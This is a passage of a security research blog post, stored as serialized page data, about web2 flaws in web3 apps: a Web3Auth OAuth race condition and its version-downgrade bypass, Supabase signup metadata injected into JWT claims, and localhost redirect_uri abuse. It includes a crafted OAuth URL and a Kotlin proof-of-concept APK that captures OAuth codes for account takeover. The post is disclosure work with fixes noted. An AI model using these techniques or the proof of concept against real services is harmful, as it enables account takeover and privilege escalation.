server.",{"type":24,"tag":25,"props":69397,"children":69398},{},[69399],{"type":24,"tag":2510,"props":69400,"children":69402},{"alt":2512,"src":69401},"/posts/web2-in-web3/image-2.png",[],{"type":24,"tag":1818,"props":69404,"children":69406},{"id":69405},"race-condition",[69407],{"type":29,"value":69408},"Race Condition",{"type":24,"tag":25,"props":69410,"children":69411},{},[69412,69414,69419,69421,69427,69429,69434,69436,69441],{"type":29,"value":69413},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":24,"tag":32,"props":69415,"children":69417},{"className":69416},[],[69418],{"type":29,"value":69326},{"type":29,"value":69420}," and later used in the ",{"type":24,"tag":32,"props":69422,"children":69424},{"className":69423},[],[69425],{"type":29,"value":69426},"/end",{"type":29,"value":69428}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":24,"tag":32,"props":69430,"children":69432},{"className":69431},[],[69433],{"type":29,"value":69326},{"type":29,"value":69435},") but before  use (",{"type":24,"tag":32,"props":69437,"children":69439},{"className":69438},[],[69440],{"type":29,"value":69426},{"type":29,"value":2554},{"type":24,"tag":25,"props":69443,"children":69444},{},[69445,69447,69454,69456,69461],{"type":29,"value":69446},"To exploit this ",{"type":24,"tag":2033,"props":69448,"children":69451},{"href":69449,"rel":69450},"https://portswigger.net/web-security/race-conditions",[2037],[69452],{"type":29,"value":69453},"race condition",{"type":29,"value":69455},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":24,"tag":32,"props":69457,"children":69459},{"className":69458},[],[69460],{"type":29,"value":69371},{"type":29,"value":69462}," but with modified malicious parameters.",{"type":24,"tag":25,"props":69464,"children":69465},{},[69466],{"type":24,"tag":2040,"props":69467,"children":69468},{},[69469],{"type":29,"value":69470},"What can be modified to achieve something impactful?",{"type":24,"tag":25,"props":69472,"children":69473},{},[69474,69476,69482,69484,69489],{"type":29,"value":69475},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":24,"tag":32,"props":69477,"children":69479},{"className":69478},[],[69480],{"type":29,"value":69481},"redirect_uri",{"type":29,"value":69483}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":24,"tag":32,"props":69485,"children":69487},{"className":69486},[],[69488],{"type":29,"value":69313},{"type":29,"value":161},{"type":24,"tag":25,"props":69491,"children":69492},{},[69493],{"type":24,"tag":2510,"props":69494,"children":69496},{"alt":2512,"src":69495},"/posts/web2-in-web3/image-3.png",[],{"type":24,"tag":25,"props":69498,"children":69499},{},[69500],{"type":29,"value":69501},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":24,"tag":1818,"props":69503,"children":69505},{"id":69504},"patch-bypass",[69506],{"type":29,"value":69507},"Patch & Bypass",{"type":24,"tag":25,"props":69509,"children":69510},{},[69511],{"type":29,"value":69512},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":24,"tag":25,"props":69514,"children":69515},{},[69516],{"type":29,"value":69517},"To bypass the fix we were able to change the version in the URL:",{"type":24,"tag":16422,"props":69519,"children":69520},{},[69521,69532],{"type":24,"tag":67,"props":69522,"children":69523},{},[69524,69530],{"type":24,"tag":32,"props":69525,"children":69527},{"className":69526},[],[69528],{"type":29,"value":69529},"https://auth.web3auth.io/v8/start",{"type":29,"value":69531}," (latest version)",{"type":24,"tag":67,"props":69533,"children":69534},{},[69535,69541],{"type":24,"tag":32,"props":69536,"children":69538},{"className":69537},[],[69539],{"type":29,"value":69540},"https://auth.web3auth.io/v6/start",{"type":29,"value":69542}," (bypass)",{"type":24,"tag":25,"props":69544,"children":69545},{},[69546],{"type":29,"value":69547},"We reported this issue, and it was addressed just as quickly!",{"type":24,"tag":51,"props":69549,"children":69551},{"id":69550},"supabase-metadata-manipulation",[69552],{"type":29,"value":69553},"Supabase metadata manipulation",{"type":24,"tag":1818,"props":69555,"children":69557},{"id":69556},"supabase-authentication-flow",[69558],{"type":29,"value":69559},"Supabase Authentication flow",{"type":24,"tag":25,"props":69561,"children":69562},{},[69563,69570,69572,69579],{"type":24,"tag":2033,"props":69564,"children":69567},{"href":69565,"rel":69566},"https://supabase.com/docs/guides/auth",[2037],[69568],{"type":29,"value":69569},"Supabase",{"type":29,"value":69571}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":24,"tag":2033,"props":69573,"children":69576},{"href":69574,"rel":69575},"https://jwt.io/",[2037],[69577],{"type":29,"value":69578},"JWT",{"type":29,"value":69580}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":24,"tag":1818,"props":69582,"children":69584},{"id":69583},"jwt-verification",[69585],{"type":29,"value":69586},"JWT verification",{"type":24,"tag":25,"props":69588,"children":69589},{},[69590,69592,69597,69598,69604,69606,69612],{"type":29,"value":69591},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":24,"tag":32,"props":69593,"children":69595},{"className":69594},[],[69596],{"type":29,"value":69239},{"type":29,"value":2287},{"type":24,"tag":32,"props":69599,"children":69601},{"className":69600},[],[69602],{"type":29,"value":69603},"identity_data",{"type":29,"value":69605},", in a signup request by manipulating the input inside the ",{"type":24,"tag":32,"props":69607,"children":69609},{"className":69608},[],[69610],{"type":29,"value":69611},"\"data\": {}",{"type":29,"value":69613}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":24,"tag":25,"props":69615,"children":69616},{},[69617,69619,69625,69626,69632,69634,69640],{"type":29,"value":69618},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":24,"tag":32,"props":69620,"children":69622},{"className":69621},[],[69623],{"type":29,"value":69624},"\"role\": \"admin\"",{"type":29,"value":12879},{"type":24,"tag":32,"props":69627,"children":69629},{"className":69628},[],[69630],{"type":29,"value":69631},"\"email_verified\": true",{"type":29,"value":69633},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":24,"tag":32,"props":69635,"children":69637},{"className":69636},[],[69638],{"type":29,"value":69639},"\"test\": \"test\"",{"type":29,"value":69641},", enabling us to inject arbitrary data into the final JWT token.",{"type":24,"tag":25,"props":69643,"children":69644},{},[69645],{"type":24,"tag":2510,"props":69646,"children":69648},{"alt":2512,"src":69647},"/posts/web2-in-web3/image-4.png",[],{"type":24,"tag":25,"props":69650,"children":69651},{},[69652],{"type":29,"value":69653},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":24,"tag":25,"props":69655,"children":69656},{},[69657],{"type":29,"value":69658},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":24,"tag":73,"props":69660,"children":69662},{"className":77,"code":69661,"language":76,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[69663],{"type":24,"tag":32,"props":69664,"children":69665},{"__ignoreMap":7},[69666,69691,69702,69771,69820,69868,69913,69936,69973,69989,69996],{"type":24,"tag":83,"props":69667,"children":69668},{"class":85,"line":86},[69669,69673,69678,69682,69687],{"type":24,"tag":83,"props":69670,"children":69671},{"style":90},[69672],{"type":29,"value":31126},{"type":24,"tag":83,"props":69674,"children":69675},{"style":101},[69676],{"type":29,"value":69677}," parseSupaBase",{"type":24,"tag":83,"props":69679,"children":69680},{"style":107},[69681],{"type":29,"value":558},{"type":24,"tag":83,"props":69683,"children":69684},{"style":137},[69685],{"type":29,"value":69686},"token",{"type":24,"tag":83,"props":69688,"children":69689},{"style":107},[69690],{"type":29,"value":253},{"type":24,"tag":83,"props":69692,"children":69693},{"class":85,"line":113},[69694,69698],{"type":24,"tag":83,"props":69695,"children":69696},{"style":117},[69697],{"type":29,"value":1469},{"type":24,"tag":83,"props":69699,"children":69700},{"style":107},[69701],{"type":29,"value":125},{"type":24,"tag":83,"props":69703,"children":69704},{"class":85,"line":128},[69705,69709,69713,69718,69722,69727,69731,69736,69740,69744,69749,69753,69758,69762,69767],{"type":24,"tag":83,"props":69706,"children":69707},{"style":90},[69708],{"type":29,"value":32640},{"type":24,"tag":83,"props":69710,"children":69711},{"style":107},[69712],{"type":29,"value":22772},{"type":24,"tag":83,"props":69714,"children":69715},{"style":137},[69716],{"type":29,"value":69717},"header",{"type":24,"tag":83,"props":69719,"children":69720},{"style":107},[69721],{"type":29,"value":568},{"type":24,"tag":83,"props":69723,"children":69724},{"style":137},[69725],{"type":29,"value":69726},"payload",{"type":24,"tag":83,"props":69728,"children":69729},{"style":107},[69730],{"type":29,"value":568},{"type":24,"tag":83,"props":69732,"children":69733},{"style":137},[69734],{"type":29,"value":69735},"signature",{"type":24,"tag":83,"props":69737,"children":69738},{"style":107},[69739],{"type":29,"value":1270},{"type":24,"tag":83,"props":69741,"children":69742},{"style":143},[69743],{"type":29,"value":1275},{"type":24,"tag":83,"props":69745,"children":69746},{"style":137},[69747],{"type":29,"value":69748}," token",{"type":24,"tag":83,"props":69750,"children":69751},{"style":107},[69752],{"type":29,"value":161},{"type":24,"tag":83,"props":69754,"children":69755},{"style":101},[69756],{"type":29,"value":69757},"split",{"type":24,"tag":83,"props":69759,"children":69760},{"style":107},[69761],{"type":29,"value":558},{"type":24,"tag":83,"props":69763,"children":69764},{"style":187},[69765],{"type":29,"value":69766},"'.'",{"type":24,"tag":83,"props":69768,"children":69769},{"style":107},[69770],{"type":29,"value":581},{"type":24,"tag":83,"props":69772,"children":69773},{"class":85,"line":183},[69774,69778,69783,69787,69791,69795,69799,69803,69808,69812,69816],{"type":24,"tag":83,"props":69775,"children":69776},{"style":90},[69777],{"type":29,"value":32640},{"type":24,"tag":83,"props":69779,"children":69780},{"style":137},[69781],{"type":29,"value":69782}," decodedHeader",{"type":24,"tag":83,"props":69784,"children":69785},{"style":143},[69786],{"type":29,"value":146},{"type":24,"tag":83,"props":69788,"children":69789},{"style":137},[69790],{"type":29,"value":901},{"type":24,"tag":83,"props":69792,"children":69793},{"style":107},[69794],{"type":29,"value":161},{"type":24,"tag":83,"props":69796,"children":69797},{"style":101},[69798],{"type":29,"value":38929},{"type":24,"tag":83,"props":69800,"children":69801},{"style":107},[69802],{"type":29,"value":558},{"type":24,"tag":83,"props":69804,"children":69805},{"style":101},[69806],{"type":29,"value":69807},"atob",{"type":24,"tag":83,"props":69809,"children":69810},{"style":107},[69811],{"type":29,"value":558},{"type":24,"tag":83,"props":69813,"children":69814},{"style":137},[69815],{"type":29,"value":69717},{"type":24,"tag":83,"props":69817,"children":69818},{"style":107},[69819],{"type":29,"value":6970},{"type":24,"tag":83,"props":69821,"children":69822},{"class":85,"line":203},[69823,69827,69832,69836,69840,69844,69848,69852,69856,69860,69864],{"type":24,"tag":83,"props":69824,"children":69825},{"style":90},[69826],{"type":29,"value":32640},{"type":24,"tag":83,"props":69828,"children":69829},{"style":137},[69830],{"type":29,"value":69831}," decodedPayload",{"type":24,"tag":83,"props":69833,"children":69834},{"style":143},[69835],{"type":29,"value":146},{"type":24,"tag":83,"props":69837,"children":69838},{"style":137},[69839],{"type":29,"value":901},{"type":24,"tag":83,"props":69841,"children":69842},{"style":107},[69843],{"type":29,"value":161},{"type":24,"tag":83,"props":69845,"children":69846},{"style":101},[69847],{"type":29,"value":38929},{"type":24,"tag":83,"props":69849,"children":69850},{"style":107},[69851],{"type":29,"value":558},{"type":24,"tag":83,"props":69853,"children":69854},{"style":101},[69855],{"type":29,"value":69807},{"type":24,"tag":83,"props":69857,"children":69858},{"style":107},[69859],{"type":29,"value":558},{"type":24,"tag":83,"props":69861,"children":69862},{"style":137},[69863],{"type":29,"value":69726},{"type":24,"tag":83,"props":69865,"children":69866},{"style":107},[69867],{"type":29,"value":6970},{"type":24,"tag":83,"props":69869,"children":69870},{"class":85,"line":212},[69871,69875,69879,69884,69888,69892,69897,69901,69905,69909],{"type":24,"tag":83,"props":69872,"children":69873},{"style":117},[69874],{"type":29,"value":15482},{"type":24,"tag":83,"props":69876,"children":69877},{"style":107},[69878],{"type":29,"value":9333},{"type":24,"tag":83,"props":69880,"children":69881},{"style":137},[69882],{"type":29,"value":69883},"header:",{"type":24,"tag":83,"props":69885,"children":69886},{"style":137},[69887],{"type":29,"value":69782},{"type":24,"tag":83,"props":69889,"children":69890},{"style":107},[69891],{"type":29,"value":568},{"type":24,"tag":83,"props":69893,"children":69894},{"style":137},[69895],{"type":29,"value":69896},"payload:",{"type":24,"tag":83,"props":69898,"children":69899},{"style":137},[69900],{"type":29,"value":69831},{"type":24,"tag":83,"props":69902,"children":69903},{"style":107},[69904],{"type":29,"value":568},{"type":24,"tag":83,"props":69906,"children":69907},{"style":137},[69908],{"type":29,"value":69735},{"type":24,"tag":83,"props":69910,"children":69911},{"style":107},[69912],{"type":29,"value":18036},{"type":24,"tag":83,"props":69914,"children":69915},{"class":85,"line":256},[69916,69920,69924,69928,69932],{"type":24,"tag":83,"props":69917,"children":69918},{"style":107},[69919],{"type":29,"value":373},{"type":24,"tag":83,"props":69921,"children":69922},{"style":117},[69923],{"type":29,"value":1295},{"type":24,"tag":83,"props":69925,"children":69926},{"style":107},[69927],{"type":29,"value":223},{"type":24,"tag":83,"props":69929,"children":69930},{"style":137},[69931],{"type":29,"value":14606},{"type":24,"tag":83,"props":69933,"children":69934},{"style":107},[69935],{"type":29,"value":253},{"type":24,"tag":83,"props":69937,"children":69938},{"class":85,"line":270},[69939,69944,69948,69952,69956,69961,69965,69969],{"type":24,"tag":83,"props":69940,"children":69941},{"style":137},[69942],{"type":29,"value":69943},"        console",{"type":24,"tag":83,"props":69945,"children":69946},{"style":107},[69947],{"type":29,"value":161},{"type":24,"tag":83,"props":69949,"children":69950},{"style":101},[69951],{"type":29,"value":14606},{"type":24,"tag":83,"props":69953,"children":69954},{"style":107},[69955],{"type":29,"value":558},{"type":24,"tag":83,"props":69957,"children":69958},{"style":187},[69959],{"type":29,"value":69960},"'Error parsing token:'",{"type":24,"tag":83,"props":69962,"children":69963},{"style":107},[69964],{"type":29,"value":568},{"type":24,"tag":83,"props":69966,"children":69967},{"style":137},[69968],{"type":29,"value":14606},{"type":24,"tag":83,"props":69970,"children":69971},{"style":107},[69972],{"type":29,"value":581},{"type":24,"tag":83,"props":69974,"children":69975},{"class":85,"line":302},[69976,69980,69985],{"type":24,"tag":83,"props":69977,"children":69978},{"style":117},[69979],{"type":29,"value":15482},{"type":24,"tag":83,"props":69981,"children":69982},{"style":90},[69983],{"type":29,"value":69984}," null",{"type":24,"tag":83,"props":69986,"children":69987},{"style":107},[69988],{"type":29,"value":321},{"type":24,"tag":83,"props":69990,"children":69991},{"class":85,"line":324},[69992],{"type":24,"tag":83,"props":69993,"children":69994},{"style":107},[69995],{"type":29,"value":446},{"type":24,"tag":83,"props":69997,"children":69998},{"class":85,"line":345},[69999],{"type":24,"tag":83,"props":70000,"children":70001},{"style":107},[70002],{"type":29,"value":464},{"type":24,"tag":1818,"props":70004,"children":70005},{"id":40049},[70006],{"type":29,"value":40052},{"type":24,"tag":25,"props":70008,"children":70009},{},[70010,70012,70019,70021,70027],{"type":29,"value":70011},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":24,"tag":2033,"props":70013,"children":70016},{"href":70014,"rel":70015},"https://supabase.com/docs/guides/database/postgres/row-level-security",[2037],[70017],{"type":29,"value":70018},"Row-Level Security",{"type":29,"value":70020}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":24,"tag":32,"props":70022,"children":70024},{"className":70023},[],[70025],{"type":29,"value":70026},"app_metadata",{"type":29,"value":70028},". These fields must be strictly validated at every step of their creation and update processes.",{"type":24,"tag":51,"props":70030,"children":70032},{"id":70031},"oauth-in-development-environments",[70033],{"type":29,"value":70034},"OAuth in development environments",{"type":24,"tag":25,"props":70036,"children":70037},{},[70038,70040,70047,70049,70054],{"type":29,"value":70039},"After watching a ",{"type":24,"tag":2033,"props":70041,"children":70044},{"href":70042,"rel":70043},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[2037],[70045],{"type":29,"value":70046},"talk",{"type":29,"value":70048}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":24,"tag":32,"props":70050,"children":70052},{"className":70051},[],[70053],{"type":29,"value":69481},{"type":29,"value":70055}," parameter during the OAuth flow.",{"type":24,"tag":25,"props":70057,"children":70058},{},[70059,70061,70068],{"type":29,"value":70060},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":24,"tag":2033,"props":70062,"children":70065},{"href":70063,"rel":70064},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[2037],[70066],{"type":29,"value":70067},"Remote Code Execution",{"type":29,"value":70069}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":24,"tag":25,"props":70071,"children":70072},{},[70073,70075,70081],{"type":29,"value":70074},"In one of our client's implementations, we identified that ",{"type":24,"tag":32,"props":70076,"children":70078},{"className":70077},[],[70079],{"type":29,"value":70080},"localhost:3000",{"type":29,"value":70082}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":24,"tag":25,"props":70084,"children":70085},{},[70086],{"type":29,"value":70087},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":24,"tag":73,"props":70089,"children":70093},{"className":70090,"code":70091,"language":70092,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[70094],{"type":24,"tag":32,"props":70095,"children":70096},{"__ignoreMap":7},[70097],{"type":24,"tag":83,"props":70098,"children":70099},{"class":85,"line":86},[70100],{"type":24,"tag":83,"props":70101,"children":70102},{},[70103],{"type":29,"value":70091},{"type":24,"tag":25,"props":70105,"children":70106},{},[70107],{"type":29,"value":70108},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":24,"tag":73,"props":70110,"children":70114},{"className":70111,"code":70112,"language":70113,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[70115],{"type":24,"tag":32,"props":70116,"children":70117},{"__ignoreMap":7},[70118,70145,70152,70184,70206,70213,70221,70243,70255,70267,70302,70328,70378,70385,70392,70399,70407,70429,70464,70477,70484,70491,70512,70538,70550,70571,70588,70600,70626,70665,70686,70694,70706,70731,70743,70756,70764,70771,70779,70787,70794,70824,70831],{"type":24,"tag":83,"props":70119,"children":70120},{"class":85,"line":86},[70121,70126,70131,70136,70141],{"type":24,"tag":83,"props":70122,"children":70123},{"style":90},[70124],{"type":29,"value":70125},"class",{"type":24,"tag":83,"props":70127,"children":70128},{"style":3163},[70129],{"type":29,"value":70130}," MainActivity",{"type":24,"tag":83,"props":70132,"children":70133},{"style":107},[70134],{"type":29,"value":70135}," : ",{"type":24,"tag":83,"props":70137,"children":70138},{"style":3163},[70139],{"type":29,"value":70140},"AppCompatActivity",{"type":24,"tag":83,"props":70142,"children":70143},{"style":107},[70144],{"type":29,"value":110},{"type":24,"tag":83,"props":70146,"children":70147},{"class":85,"line":113},[70148],{"type":24,"tag":83,"props":70149,"children":70150},{"emptyLinePlaceholder":16},[70151],{"type":29,"value":3422},{"type":24,"tag":83,"props":70153,"children":70154},{"class":85,"line":128},[70155,70160,70164,70169,70174,70179],{"type":24,"tag":83,"props":70156,"children":70157},{"style":90},[70158],{"type":29,"value":70159},"    override",{"type":24,"tag":83,"props":70161,"children":70162},{"style":90},[70163],{"type":29,"value":5953},{"type":24,"tag":83,"props":70165,"children":70166},{"style":101},[70167],{"type":29,"value":70168}," onCreate",{"type":24,"tag":83,"props":70170,"children":70171},{"style":107},[70172],{"type":29,"value":70173},"(savedInstanceState: ",{"type":24,"tag":83,"props":70175,"children":70176},{"style":3163},[70177],{"type":29,"value":70178},"Bundle",{"type":24,"tag":83,"props":70180,"children":70181},{"style":107},[70182],{"type":29,"value":70183},"?) {\n",{"type":24,"tag":83,"props":70185,"children":70186},{"class":85,"line":183},[70187,70192,70196,70201],{"type":24,"tag":83,"props":70188,"children":70189},{"style":90},[70190],{"type":29,"value":70191},"        super",{"type":24,"tag":83,"props":70193,"children":70194},{"style":107},[70195],{"type":29,"value":161},{"type":24,"tag":83,"props":70197,"children":70198},{"style":101},[70199],{"type":29,"value":70200},"onCreate",{"type":24,"tag":83,"props":70202,"children":70203},{"style":107},[70204],{"type":29,"value":70205},"(savedInstanceState)\n",{"type":24,"tag":83,"props":70207,"children":70208},{"class":85,"line":203},[70209],{"type":24,"tag":83,"props":70210,"children":70211},{"emptyLinePlaceholder":16},[70212],{"type":29,"value":3422},{"type":24,"tag":83,"props":70214,"children":70215},{"class":85,"line":212},[70216],{"type":24,"tag":83,"props":70217,"children":70218},{"style":2735},[70219],{"type":29,"value":70220},"        // Start the Ktor web server\n",{"type":24,"tag":83,"props":70222,"children":70223},{"class":85,"line":256},[70224,70229,70234,70239],{"type":24,"tag":83,"props":70225,"children":70226},{"style":101},[70227],{"type":29,"value":70228},"        CoroutineScope",{"type":24,"tag":83,"props":70230,"children":70231},{"style":107},[70232],{"type":29,"value":70233},"(Dispatchers.IO).",{"type":24,"tag":83,"props":70235,"children":70236},{"style":101},[70237],{"type":29,"value":70238},"launch",{"type":24,"tag":83,"props":70240,"children":70241},{"style":107},[70242],{"type":29,"value":125},{"type":24,"tag":83,"props":70244,"children":70245},{"class":85,"line":270},[70246,70251],{"type":24,"tag":83,"props":70247,"children":70248},{"style":117},[70249],{"type":29,"value":70250},"            try",{"type":24,"tag":83,"props":70252,"children":70253},{"style":107},[70254],{"type":29,"value":125},{"type":24,"tag":83,"props":70256,"children":70257},{"class":85,"line":302},[70258,70263],{"type":24,"tag":83,"props":70259,"children":70260},{"style":101},[70261],{"type":29,"value":70262},"                startWebServer",{"type":24,"tag":83,"props":70264,"children":70265},{"style":107},[70266],{"type":29,"value":7483},{"type":24,"tag":83,"props":70268,"children":70269},{"class":85,"line":324},[70270,70275,70280,70284,70289,70293,70298],{"type":24,"tag":83,"props":70271,"children":70272},{"style":107},[70273],{"type":29,"value":70274},"                Log.",{"type":24,"tag":83,"props":70276,"children":70277},{"style":101},[70278],{"type":29,"value":70279},"d",{"type":24,"tag":83,"props":70281,"children":70282},{"style":107},[70283],{"type":29,"value":558},{"type":24,"tag":83,"props":70285,"children":70286},{"style":187},[70287],{"type":29,"value":70288},"\"WebServer\"",{"type":24,"tag":83,"props":70290,"children":70291},{"style":107},[70292],{"type":29,"value":568},{"type":24,"tag":83,"props":70294,"children":70295},{"style":187},[70296],{"type":29,"value":70297},"\"Server started on http://localhost:3000\"",{"type":24,"tag":83,"props":70299,"children":70300},{"style":107},[70301],{"type":29,"value":2905},{"type":24,"tag":83,"props":70303,"children":70304},{"class":85,"line":345},[70305,70310,70314,70319,70324],{"type":24,"tag":83,"props":70306,"children":70307},{"style":107},[70308],{"type":29,"value":70309},"            } ",{"type":24,"tag":83,"props":70311,"children":70312},{"style":90},[70313],{"type":29,"value":1295},{"type":24,"tag":83,"props":70315,"children":70316},{"style":107},[70317],{"type":29,"value":70318}," (e: ",{"type":24,"tag":83,"props":70320,"children":70321},{"style":3163},[70322],{"type":29,"value":70323},"Exception",{"type":24,"tag":83,"props":70325,"children":70326},{"style":107},[70327],{"type":29,"value":253},{"type":24,"tag":83,"props":70329,"children":70330},{"class":85,"line":358},[70331,70335,70339,70343,70347,70351,70356,70360,70365,70369,70373],{"type":24,"tag":83,"props":70332,"children":70333},{"style":107},[70334],{"type":29,"value":70274},{"type":24,"tag":83,"props":70336,"children":70337},{"style":101},[70338],{"type":29,"value":51169},{"type":24,"tag":83,"props":70340,"children":70341},{"style":107},[70342],{"type":29,"value":558},{"type":24,"tag":83,"props":70344,"children":70345},{"style":187},[70346],{"type":29,"value":70288},{"type":24,"tag":83,"props":70348,"children":70349},{"style":107},[70350],{"type":29,"value":568},{"type":24,"tag":83,"props":70352,"children":70353},{"style":187},[70354],{"type":29,"value":70355},"\"Error starting server: ",{"type":24,"tag":83,"props":70357,"children":70358},{"style":90},[70359],{"type":29,"value":33845},{"type":24,"tag":83,"props":70361,"children":70362},{"style":143},[70363],{"type":29,"value":70364},"e.message",{"type":24,"tag":83,"props":70366,"children":70367},{"style":90},[70368],{"type":29,"value":33877},{"type":24,"tag":83,"props":70370,"children":70371},{"style":187},[70372],{"type":29,"value":19800},{"type":24,"tag":83,"props":70374,"children":70375},{"style":107},[70376],{"type":29,"value":70377},", e)\n",{"type":24,"tag":83,"props":70379,"children":70380},{"class":85,"line":367},[70381],{"type":24,"tag":83,"props":70382,"children":70383},{"style":107},[70384],{"type":29,"value":58599},{"type":24,"tag":83,"props":70386,"children":70387},{"class":85,"line":406},[70388],{"type":24,"tag":83,"props":70389,"children":70390},{"style":107},[70391],{"type":29,"value":3092},{"type":24,"tag":83,"props":70393,"children":70394},{"class":85,"line":427},[70395],{"type":24,"tag":83,"props":70396,"children":70397},{"emptyLinePlaceholder":16},[70398],{"type":29,"value":3422},{"type":24,"tag":83,"props":70400,"children":70401},{"class":85,"line":440},[70402],{"type":24,"tag":83,"props":70403,"children":70404},{"style":2735},[70405],{"type":29,"value":70406},"        // Open the Google OAuth page\n",{"type":24,"tag":83,"props":70408,"children":70409},{"class":85,"line":449},[70410,70415,70420,70424],{"type":24,"tag":83,"props":70411,"children":70412},{"style":90},[70413],{"type":29,"value":70414},"        val",{"type":24,"tag":83,"props":70416,"children":70417},{"style":107},[70418],{"type":29,"value":70419}," googleOAuthUrl ",{"type":24,"tag":83,"props":70421,"children":70422},{"style":143},[70423],{"type":29,"value":1275},{"type":24,"tag":83,"props":70425,"children":70426},{"style":187},[70427],{"type":29,"value":70428}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":83,"props":70430,"children":70431},{"class":85,"line":458},[70432,70436,70441,70445,70450,70455,70459],{"type":24,"tag":83,"props":70433,"children":70434},{"style":90},[70435],{"type":29,"value":70414},{"type":24,"tag":83,"props":70437,"children":70438},{"style":107},[70439],{"type":29,"value":70440}," browserIntent ",{"type":24,"tag":83,"props":70442,"children":70443},{"style":143},[70444],{"type":29,"value":1275},{"type":24,"tag":83,"props":70446,"children":70447},{"style":101},[70448],{"type":29,"value":70449}," Intent",{"type":24,"tag":83,"props":70451,"children":70452},{"style":107},[70453],{"type":29,"value":70454},"(Intent.ACTION_VIEW, 